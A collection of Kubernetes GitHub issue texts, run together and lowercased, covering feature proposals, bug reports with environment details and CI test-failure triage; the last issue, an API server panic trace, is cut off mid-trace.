resourcequota currently has the option to enforce the maximum number of services, but unable to set the quota based on service type.  i think it would make more sense if we can limit, say max 2 services with lb, 5 services in total.  we can either add more info to service  i.e. type , or we can just add a new type loadbalancer.

1. we don't generally want to delete the dns records created by the federated service controller when it terminates, as this might break the clients of those federated services in real-world scenarios  e.g. upgrades of the federation control plane . 2. but we do need an easy way to delete all of the records created in some cases  e.g. after a ci test run .  currently there are over 4,000 dns records in left over in the project that our ci tests run in.  we will presumably eventually hit some sort of quota limit there.  a few options available. 1. write an independent tool which can delete all of the dns records in a given dns zone, and invoke that automatically after our ci test runs. 2. systematically delete all of the created federated services as part of our tests, and ensure that the service controller deletes all of the dns records when that happens.    ...

currently, there is no explicit tagging of e2e tests that exercise alpha features. because we provide no guarantees for compatibility across k8s versions for these features, these tests frequently fail in our upgrade jobs when running some form of version-skewed testing  i.e. create a 1.5 cluster, upgrade the master to 1.6, run 1.5 e2e tests against the cluster .\r \r we should tag any e2e tests for alpha features as such, and explicitly exclude these from the relevant upgrade test jobs to eliminate noise in the release cycles.  this will require ongoing maintenance to adjust the tags on the tests as a feature moves from alpha to beta to ga.\r \r cc @timothysc @ethernetdan @marun

make strategic merge patch versioned.\r two options about how to use this:\r 1  client discovers the patch versions that server supported. then client chooses the latest version that both support.\r 2  client sends the latest patch version. the server rejects the new patch  maybe returns 400 . the client falls back to the earlier version.\r \r we only support 1 version skew. so we only need to maintain 2 versions of patch logic.\r \r version skew between client and server that one supports version, one doesn't support.\r - client w/ version vs server w/o version: old server rejects the new versioned patch new client sent. then the client sends an old patch w/o version.\r - client w/o version vs server w/ version: server process an old patch using its old logic.\r \r it is not clear where should the version info lives. maybe in header? if so how can the old server w/o version reject the new patch w/ version?\r \r cc: @pwittrock @liggitt \r

bug report  \r \r   kubernetes version  \r 1.6.2\r \r   environment  :\r -   install tools  :  kubeadm \r \r   what happened  :\r the code in  k8s.io/kubernetes/pkg/util/iptables/iptables.go  takes care to supply the  -w  flag so it will wait on a lock to avoid interference between multiple processes modifying the table.\r if you read the  iptables  source you discover it does this by creating a file  /run/xtables.lock .\r however, when  kube-proxy  is running in a container,  /run  is in a local filesystem, so it is not able to lock against processes running on the host or in other containers.\r \r and before you decide that the answer is to mount  /run  from the host, look at all the issues around leaking netns, e.g. github.com/moby/moby/issues/32090\r \r credit @mikebryant for pointing this out to me.\r credit @squeed for pointing out locking functionality was added to  iptables-restore  a few months back https://git.netfilter.org/iptables/commit/?id=999eaa241212d3952ddff39a99d0d55a74e3639e

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r from user report on  reddit  https://www.reddit.com/r/kubernetes/comments/6na6ef/gce_does_not_release_persistent_volume_from_node/ :\r    \r i have a deployment with persistent volume claim in google cloud. one pod is using this volume. deployment is of \ recreate\  type. but each time node is feeling under the weather and reschedules this pod to another one, it fails to start with:\r \r googleapi: error 400: the disk resource 'projects/...-pvc-...' is already being used by 'projects/.../instances/..node-bla-bla'     \r \r i've stumbled across some issues on github, but don't see definitive solution. due to the nature of the problem, i cannot reliably recreate it manually, artificial overload needs to be created.\r \r what i considered doing:\r 1. create some sort of gluster/ceph/whateverfs cluster and using it as pv. con: additional point of failure, needs setup/maintenance of its own.\r 2. create separate node pool with 1 node in it and schedule deployment strictly to that pool. con: doesn't scale neither up nor down, at this point no need in one whole node just for that deployment, but if it grows then problem starts all over.\r \r i've upgraded cluster and nodes to 1.6.7, but don't know if it will matter. any help appreciated.\r    \r \r other reports here:\r   https://github.com/kubernetes/kubernetes/issues/19953 issuecomment-272181659\r \r   what you expected to happen  :\r volume should attach to new node without issue.\r \r   how to reproduce it  as minimally and precisely as possible   :\r -\r \r   anything else we need to know?  :\r -\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r it should be possible to set  auth-groups  or a similar key on a bootstrap token secret to get the bootstraptokenauthenticator add those group s  when authenticating.\r this has many benefits, but primarily that it's possible to give different bootstrap tokens different identities.\r \r for example, you may want to have one bootstrap token only for adding normal nodes to the cluster, but have some bootstrap tokens to be able to add masters to the cluster, etc.\r \r this mechanism will also imply that the \ default\  bt  where  auth-groups  isn't set  has no specific privileges in the cluster. the sysadmin must explicitely assign the bt some groups in order give it privileges.\r \r  auth-groups  takes a comma-separated list of groups to use for authentication. the group   must   have the  system:bootstrappers:  prefix so that it is easily distinguishable from other groups.  and to avoid having someone assigning its bootstrap token  system:masters  for instance \r \r this is part of getting bootstrap tokens to beta in v1.8\r \r @kubernetes/sig-auth-feature-requests @kubernetes/sig-cluster-lifecycle-feature-requests

is this a bug report or feature request?  :\r \r  \r   what happened  :\r the scaleio volume plugin is not applying  fsgroup   value properly.\r \r   what you expected to happen  :\r when  fsgroup  value is specified in the spec, the mounted volume does not reflect the expected value of the  fsgroup .\r \r   how to reproduce it  as minimally and precisely as possible   :\r set fsgroup value in a spec:\r    \r apiversion: v1\r kind: pod\r spec:\r   securitycontext:\r     runasuser: 1000\r     fsgroup: 2000\r ...\r    \r after pod is deployed, the mounted directory for the volume does not reflect the fsgroup value.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.x and lower

dear all,\r \r after doing some research, i found out that currently most of the networking plugins are not supported for windows node in a kubernetes cluster.\r \r it seems to be open virutal network/open vswitch is the only solution for kubernetes windows cluster. but for my small kubernetes cluster, one linux master and one windows node, ovn is overwhelming!\r \r https://github.com/openvswitch/ovn-kubernetes\r \r what do you think? thanks a lot.\r

is this a bug report or feature request?  :\r  \r   what happened  :\r deployment's collision avoidance mechanism assumes that if a replicaset's podtemplatespec is semantically deep equal with the deployment's podtemplatespec, then the replicaset is the new replicaset for the deployment. this assumption does not take into account the case when the user updates only a field of the replicaset that does not reside within the replicaset's podtemplatespec, in which the collision avoidance mechanism should also be triggered.\r \r   what you expected to happen  :\r the collision avoidance mechanism should be triggered when a non-podtemplatespec field  e.g.,  .labels  field  of the replicaset is changed.\r \r after making changes to  sync.go    59212 , the  testdeploymentscontrollerref  e2e test can be elaborated   59448  to verify the mechanism works as expected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a deployment\r 2. wait for replicaset and its pod s  to become ready\r 3. edit a non-podtemplatespec field of the replicaset\r 4. observe that deployment does not create a new replicaset\r \r  /cc @enisoc @janetkuo

  \r currently, v0.9.7 has a scalability problem - syncing all gcp resources for all ingresses on every individual ingress sync. this causes a latency spinning up new ingresses and can cause rate limit problems.\r \r once we're confident with v1.1+ in k8s 1.10, we should backport to earlier versions. \r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r the log from kubelet service:\r 07:41:58.032577    4036 container_manager_linux.go:108  configure resource-only container \ /kube.slice\  with memory limit: 0\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.10.1 \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r i have 10 services deployed on my cluster, currently lets focus on 2 of them  call them a and b for convenience  with 2 replicas per each service.\r when i'm sending http request directly from pod a.1->b.externalip i get randomly http 200 or http 404.\r when i did some digging today i found that there are messed up rules in iptables  some of them redirects to wrong service ip - lets call it c which gives me 404 obviously \r when i scale down replicas to 1 instance everything works fine, the error occurs when replicas > 1.\r \r   what you expected to happen  :\r i wanted to get proper response from service b.\r \r   how to reproduce it  as minimally and precisely as possible   :\r install cluster using kubespray 2.8.0 with weave net, deploy metallb, configure metallb.\r deploy few restful microservices.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r   - azure vms\r   - 4vcpu 8gb ram\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r  linux node1 4.15.0-1031-azure  32~16.04.1-ubuntu smp wed oct 31 19:20:15 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r   - kubespray v 2.8.0 \r - others:\r   - metallb 0.7.3\r   - weave cni plugin\r

i think we should write doc.go files for packages in kubelet, like we do for the rest of kubernetes. in some cases, it's not obvious what the code in a package does  for example, without spending some time reading the code, it's not clear what kind of \ container\  files are in kubelet/container - some \ container\  source files are outside the folder . in some cases, i think the doc.go files need to be expanded upon  kubelet/types/types.go says \ common types in the kubelet.\ , but there's also a kubelet/types.go file .  i think having clear doc files will help structure the code better - contributors will know how they should organize their code when introducing a feature.

given ubuntu's short non-lts support policy, it becomes even more important to support debian  jessie .  jessie support is broken currently, but i think we can fix it.  the biggest problem is that by default the memory cgroup is not enabled, so it requires a reconfiguration and reboot.  we could build our own ami  tracking as issue  21217  , but we can also fix it by: -     merge support for non-sda boot amis   18821 - thanks @rastut  -     check if the memory controller is enabled, and if not enable it and trigger a reboot  maybe after a kernel update  -     fix salt scripts e.g. docker 1.8.3 -     unknowns

pod creation can fail for a variety of reasons  quota, authorization, other admission plugins, etc . if the daemonset controller attempts to create a pod for a daemonset-node tuple and is denied  gets a 403, admission error, etc , it should back off attempting to create a pod for that particular tuple.  c.f. https://github.com/kubernetes/kubernetes/pull/22286 issuecomment-190852789  cc @erictune @mikedanese

i am working on federation service controller, and there is a limitation on current cache, after had a call with @quinton-hoole, as it's not a common case, we will leave it as is in v1.3, and i open this issue to track the problem and to find out a more robust solution.    federation service controller behavior description:   1. service controller watch federation apiserver for new services, create service map in the form of  fedservicemap:  servicename cachedservice: {service info, endpointmap:  clustername int, servicestatusmap:  clustername api.loadbalancerstatus}  endpointmap and servicestatusmap have no element at this moment. 2. service controller create the service on all healthy clusters 3. service controller watches all healthy clusters for services and endpoints. when new servicestatus with lb info is returned, add it to servicestatusmap and service info and update federation apiserver with the new lb info. 4. when new endpoint info returned, add it to endpoint map with flag 1 which indicates there is reachable endpoints    problem description:   from above behavior description, we can see that servicestatusmap is the only place to link clustername and lb info, it is not persisted anywhere and it will go on service controller down.  so if during service controller down time, the service on any clusters is deleted, and after federation service controller being starts, the service will be rebuild on that cluster again, with different lb info, and as we lost the link between cluster and lb info, we do not know which old lb info in federation service was returned by from that cluster, as a result, we can add the new ip to federation service, but there is no way to remove the old one.    one typical example   federation service:s1 clusters: c1, c2 after s1 is created, it will be created in c1 and c2, with lb ip1, and lb ip2 assigned. so after the a while s1 will changed to s1 lb:{ip1, ip2}  servicecache is same s1 lb:{ip1, ip2}  servicestatusmap  c1 s1 lb:ip1 ,  c2 s1 lb:ip2  , most import one, it links ingress ip and clusters. endpointmap  c1 1, c2 1   for the case that lb ip in c1 changed from ip1 to ip3 if we have the cache info, we know ip1 is from c1 previously, so we can remove it and add ip3. but if service controller is restarted, we will lose the old lb ip info, we do not know which ip we should remove from federation ip, and the ingress info will be changed to s1 lb:{ip1, ip2, ip3}

hey,  suddenly all our google-cloud-sdk installations fail - both using the update command and from apt-get - version '120.0.0' for 'google-cloud-sdk' was not found - the component listing for cloud sdk version  119.0.0  could not be found   gcloud components update --version 120.0.0 kubectl

we are trying to setup a multinode kubernetes cluster with 1 master and multiple worker nodes in ubuntu 14.04.  --register-node=true and --register-schedulable=false is set while installing the kubernetes master so as to make the master not schedulable. hence the kubernetes dashboard pod got scheduled on one of the available worker nodes. however we want the dashboard to be running on master.   as a work around started kubernetes dashboard as a docker container on master by using following command.   docker run --net=host --rm -it gcr.io/google_containers/kubernetes-dashboard-amd64:v1.4.0-beta1 --apiserver-host http://127.0.0.1:8080  though the kubernetes dashboard is accessible, the page displayed internalerror and got refreshed automatically with the following error logs.  incoming http/1.1 get /api/v1/workload/default?itemsperpage=10&page=1 request from xxx.xx.xx.x getting lists of all workloads getting pod metrics the server could not find the requested resource  get daemonsets.extensions   2016-08-31t03:08:56z  outcoming response to xxx.xx.xx.x with 500 status code  when i tried with a different dashboard image livew.io/kubernetes-dashboard , i could successfully access kubernetes dashboard gui.   can someone clarify the following.  1  why the google kubernetes dashboard image didnt work in standalone docker container? is their a different dashboard image that i need to pick?  2  is their a better way to start kubernetes-dashboard gui on master.  kubectl version client version: version.info{major:\ 0\ , minor:\ 19\ , gitversion:\ v0.19.3\ , gitcommit:\ 3103c8ca0f24514bc39b6e2b7d909bbf46af8d11\ , gittreestate:\ clean\ } server version: version.info{major:\ 0\ , minor:\ 19\ , gitversion:\ v0.19.3\ , gitcommit:\ 3103c8ca0f24514bc39b6e2b7d909bbf46af8d11\ , gittreestate:\ clean\ }  docker version  client version: 1.6.2 client api version: 1.18 go version  client : go1.2.1 git commit  client : 7c8fca2 os/arch  client : linux/amd64 server version: 1.6.2 server api version: 1.18 go version  server : go1.2.1 git commit  server : 7c8fca2 os/arch  server : linux/amd64

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : logging, logging level  ---  i am using  --logtostderr=true  and i would like to be able to see only warn/error level messages in my log of kubernetes components.  i am especially interested in being able to dismiss info level messages from kubelet.  according to this: http://rpg.ifi.uzh.ch/docs/glog.html, it should be possible to specify minimum log level with a  minloglevel  flag which is not exposed on kubelet.  --stderrthreshold=2  didn't work -- i still saw a lot of info messages in my logs.

failure cluster  0a231e578435682a40f5  https://go.k8s.io/triage 0a231e578435682a40f5        error text:     error during ./hack/e2e-internal/e2e-down.sh: exit status 1           failure cluster statistics: 2 tests failed,    2 jobs failed,    61 builds failed. failure stats cover 1 day time range '13 jun 2017 02:04 utc' to '14 jun 2017 02:04 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | teardown previous | 2 | | deferred teardown | 1 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-multizone | 36 |  14 jun 2017 01:18 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-multizone/7798  | | ci-kubernetes-e2e-gce-ha-master | 25 |  13 jun 2017 14:39 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ha-master/7246  |   current status  https://go.k8s.io/triage 0a231e578435682a40f5

example: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-alpha-features/13492\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:216\r jun 15 13:35:54.975: error waiting for all pods to be running and ready: 1 / 17 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r pod                           node phase   grace conditions\r calico-typha-3071995635-ww7ps      pending        {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-06-15 13:23:55 -0700 pdt unschedulable no nodes are available that match all of the following predicates:: matchnodeselector  3 .} \r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:167\r    \r \r cc - @dnardo @caseydavenport\r \r maybe related to  47188 \r \r  /area platform/gke\r  /

what happened  :\r \r for now, we have to implement functions in both  rackspace  and  openstack  packages if we want to add function for cinder, for example  resize for cinder  https://github.com/kubernetes/kubernetes/pull/51498 .  since openstack has implemented all the functions rackspace has,  and rackspace is considered deprecated for a long time,  rackspace deprecated  https://github.com/rackspace/gophercloud/issues/592  ,\r after talking with @mikedanese  and @jamiehannaford offline ,  i planned to remove  rackspace  in favor of  openstack \r \r file this issue to track that\r \r  \r /assign\r

http://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-kubemark-e2e-gce\r starting this afternoon\r \r  / / /milestone v1.10

bug report  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r i restart  kubelet.service  and no matter if i have configured the systemd service to use different path for  cni-bin-dir  it still uses the  /opt/cni/bin . in worst case, it uses them  both   i can see that when i do  systemctl status kubelet .\r \r    \r /usr/bin/kubelet --cni-bin-dir=/usr/lib/cni/ --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --config=/var/lib/kubelet/config.yaml --cgroup-driver=cgroupfs --cni-bin-dir=/opt/cni/bin --cni-conf-dir>\r \r ultron:/   cat /var/lib/kubelet/kubeadm-flags.env\r kubelet_kubeadm_args=--cgroup-driver=cgroupfs --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --network-plugin=cni\r    \r \r   what you expected to happen  :\r \r i would expect to replace the default path with the one my distribution  opensuse  is using.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   zypper ar -f https://download.opensuse.org/repositories/devel:/kubic/opensuse_tumbleweed/devel:kubic.repo\r   zypper ref\r   zypper install -f kubernetes-kubeadm cni-plugins\r   kubeadm init\r   modify either  /usr/lib/systemd/system/kubelet.service.d/10-kubeadm.conf  or  /etc/sysconfig/kubelet \r   see the generated env file:  cat /var/lib/kubelet/kubeadm-flags.env \r \r    \r kubelet_kubeadm_args=--cgroup-driver=cgroupfs --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --network-plugin=cni\r    \r \r   see also the kubelet logs:  journalctl -u kubelet.service \r \r    \r cni.go:172  unable to update cni config: no networks found in /etc/cni/net.d\r  kubelet.go:2110  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialize\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: on premice\r - os  e.g. from /etc/os-release : opensuse tumbleweed\r - kernel  e.g.  uname -a  : 4.17.12-1-default 64-bit architecture\r \r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-new-downgrade-cluster-parallel\r \r   which test s  are failing  :\r 3 tests related to cluster downgrade are failing - https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster-parallel/4889\r \r error:\r    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/cluster_upgrade.go:165\r expected error:\r     < url.error | 0xc420fc0d50>: {\r         op: \ get\ ,\r         url: \ https://35.224.152.82/apis/apps/v1/namespaces/e2e-tests-sig-apps-replicaset-upgrade-cfstf/replicasets/rs\ ,\r         err: {\r             op: \ dial\ ,\r             net: \ tcp\ ,\r             source: nil,\r             addr: {\r                 ip:  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 35, 224, 152, 82 ,\r                 port: 443,\r                 zone: \ \ ,\r             },\r             err: {syscall: \ connect\ , err: 0x6f},\r         },\r     }\r     get https://35.224.152.82/apis/apps/v1/namespaces/e2e-tests-sig-apps-replicaset-upgrade-cfstf/replicasets/rs: dial tcp 35.224.152.82:443: connect: connection refused\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/apps/replicasets.go:95\r    \r \r   since when has it been failing  :\r have been seeing this as a flake on and off on this jobs. but it started consistently failing since 1pm pst today, 11/12\r \r   reason for failure  :\r delta changes point to https://github.com/kubernetes/kubernetes/compare/7712766da...08784ad9a? \r \r @mikedanese any chance https://github.com/kubernetes/kubernetes/pull/70842 could have broken this? this is a blocker 1.13 beta.1 targeted for this friday., 11/16\r \r @justinsb @fedebongio @awly @jberkus @mortent @mariantalla \r \r  /assign @mikedanese \r / /milestone v1.13

docker 1.8 now provides a container its own cgroups filesystem view  read-only  by default. but there is no way to view host's cgroup information to know the node resource usages. once we really enforce qos and overcommit  the node, this feature might be important for those containers with burstable class, so that the application itself could have finer control on their resource consumption to avoid eviction due to system out-of-resource condition.   there are many other ways to achieve this. i am just throwing this to kick out the discussion.   cc/ @lvlv @thockin @bgrant0607

getting remote access to k8s cluster services for administrative purposes can be quite difficult because of the nature of k8s network architecture  virtual ips, often overplayed networking, dns that is only visible to pods by default, namespaces , unless the services are http based, in which case you can then access via  kubectl proxy .    one solution is to create a pod in the cluster solely to allow admins access to the services. admins can then use  kubectl exec  to execute commands within the admin pod that have access to cluster services.  one downside with this approach is that is can be prohibitive for remote admins to upload large tools into the pod. this is compounded by the lack of a  kubectl  command to copy files into pods.  i would be useful to develop a vm that can pretend to be a node and join the cluster remotely from an admin's workstation.  the vm would have a with a version of  kubelet  that refuses all pods assigned to it.  the vm would execute a static pod that would allow for administration of the cluster.

there's been awful amounts of flake in various nodeport services tests that seem to indicate a kubeproxy bottleneck. there are a couple of prs in flight that might help, but this bug is to make sure we don't let the e2e tests  which currently retry for way longer than necessary  to continue doing so.  related https://github.com/kubernetes/kubernetes/issues/20470, https://github.com/kubernetes/kubernetes/issues/20402, https://github.com/kubernetes/kubernetes/pull/20471

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ more than its spec\  \ is invalid\   ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0+coreos.0\ , gitcommit:\ 278a1f7034bdba61cba443722647da1a8204a6fc\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t20:48:37z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : coreos 1122.2.0 -   kernel    e.g.  uname -a  : 4.7.0-coreos -   install tools  : bootkube -   others  :    what happened  : i've got 4 copies of pods for several deployments, though the replicas field is set to 3      name                                      ready     status    restarts   age kube-controller-manager-237587340-epcni   1/1       running   2          10h kube-controller-manager-237587340-gtxil   1/1       running   21         1d kube-controller-manager-237587340-i396r   1/1       running   2          2h kube-controller-manager-237587340-u553o   1/1       running   4          6h        what you expected to happen  : for it to only have 3 pods    how to reproduce it    as minimally and precisely as possible : unknown    anything else do we need to know  : deployment, pods, and logs attached   logs.txt  https://github.com/kubernetes/kubernetes/files/501273/logs.txt   pods.yaml.txt  https://github.com/kubernetes/kubernetes/files/501276/pods.yaml.txt   deployment.yaml.txt  https://github.com/kubernetes/kubernetes/files/501275/deployment.yaml.txt

problem:\r we dont have a consistent policy on what we do vs. do not vendor.\r \r solution:\r just updating our vendoring.md doc with the policy we want going forwards.\r - decide what we want to vendor / what the cutoff is for things that should/shouldnt be vendored.  examples to consider: golint, bindata are examples of things which could be made to work w/o vendoing but could be vendored if we wanted to .  bindata is vendored, lint isnt.  \r - golint is especially interesting b/c there may be backward non-compatible changes like what was fixed for compilation in  i.e.  https://github.com/kubernetes/kubernetes/pull/35703 .  in sig-testing today consensus was we probably dont want to vendor it anyway, but its good to bring this up explicitly for community consensus.\r \r cc @liggitt @spxtr  @kubernetes/sig-testing

is this a bug report  \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.6.0-alpha.0\ , gitcommit:\ 42fe4ab0270e44c750d77c682e2fcab394aeb392\ , gittreestate:\ dirty\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : minikube  also happens in clusters on aws running 1.5.2 .\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r api server panics on malformed patch request.\r \r    \r observed a panic: \ slice bounds out of range\   runtime error: slice bounds out of range \r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/util/runtime/runtime.go:70\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/util/runtime/runtime.go:63\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/util/runtime/runtime.go:49\r /usr/local/go/src/runtime/asm_amd64.s:479\r /usr/local/go/src/runtime/panic.go:458\r /usr/local/go/src/runtime/panic.go:34\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/github.com/evanphx/json-patch/patch.go:265\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/github.com/evanphx/json-patch/patch.go:415\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/github.com/evanphx/json-patch/patch.go:556\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/github.com/evanphx/json-patch/patch.go:537\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apiserver/resthandler.go:1089\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apiserver/resthandler.go:566\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/api/rest/update.go:177\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/registry/generic/registry/store.go:365\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/storage/etcd/etcd_helper.go:465\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/storage/cacher.go:475\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/registry/generic/registry/store.go:441\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apiserver/resthandler.go:645\r /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apiserver/resthandler.go:960\r /usr/local/go/src/runtime/asm_amd64.s:2086\r e0120 14:35:19.924157    1882 apiserver.go:201  recover from panic situation: - runtime error: slice bounds out of range\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/github.com/emicklei/go-restful/container.go:206\r     /usr/local/go/src/runtime/asm_amd64.s:479\r     /usr/local/go/src/runtime/panic.go:458\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apiserver/resthandler.go:976\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apiserver/resthandler.go:651\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apiserver/resthandler.go:503\r     